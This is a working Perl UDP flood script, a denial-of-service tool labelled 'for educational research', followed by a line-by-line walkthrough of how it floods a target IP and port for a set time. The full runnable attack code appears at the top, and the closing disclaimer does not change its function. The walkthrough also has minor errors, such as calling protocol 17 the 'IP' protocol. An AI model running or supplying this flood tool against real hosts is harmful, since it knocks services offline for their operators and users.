#!/usr/bin/perl
# Made By ClumsyLulz For Educational Research Only!
# Sleep[at]aol.com
use Socket;
use strict;
print "\n";
if ($#ARGV != 3) {
print "\n\t\t\t***Error command must receive four arguments***\n";
print "-Ex) perl Stress.pl 1.1.1.1 80 1000 300\n";
print "-Stressing '1.1.1.1' for '300' seconds on port '80' using '1000' packets\n\n";
exit(1);
}
my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print "~To cancel the attack press \'Ctrl-C\'\n\n";
print "|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n";
print "|$ip|\t |$port|\t\t |$size|\t\t |$time|\n";
print "To cancel the attack press 'Ctrl-C'\n" unless $time;
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1500-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
}
- The first two lines include the
Socket
andstrict
modules, which are used for networking and enforcing good programming practices, respectively. - The script then checks if the number of command line arguments (ARGV) passed to the script is equal to 4. If not, an error message is displayed, indicating that four arguments are expected, and the script exits with a status of 1.
- The four arguments passed to the script are stored in the variables
$ip
,$port
,$size
, and$time
. - The
inet_aton
function is used to convert the$ip
argument from a string representation of an IP address into a packed binary format that can be used in networking functions. If this conversion fails, the script will display an error message and exit. - The
$endtime
variable is calculated as the current time plus the$time
argument passed to the script, or 1000000 seconds if$time
is not passed. - The
socket
function is used to create a socketflood
of typePF_INET
, using theSOCK_DGRAM
protocol and theIP
protocol number 17. - The script then displays some information about the DoS attack, including the IP and port being attacked, the size of the packets being sent, and the duration of the attack.
- The
for
loop is used to continuously send packets to the target until the current time is greater than the$endtime
. - Within the loop, the
$psize
and$pport
variables are calculated. If$size
is passed as an argument,$psize
is set to that value. If$size
is not passed,$psize
is set to a random number between 64 and 1500. Similarly, if$port
is passed as an argument,$pport
is set to that value. If$port
is not passed,$pport
is set to a random number between 1 and 65500. - Finally, the
send
function is used to send a packet of size$psize
to the target IP and port$pport
. The data being sent is simply the string "flood", packed into binary format using thepack
function.
That’s it! This script is a simple example of how to implement a DoS attack, but again, I strongly advise against using it for malicious purposes.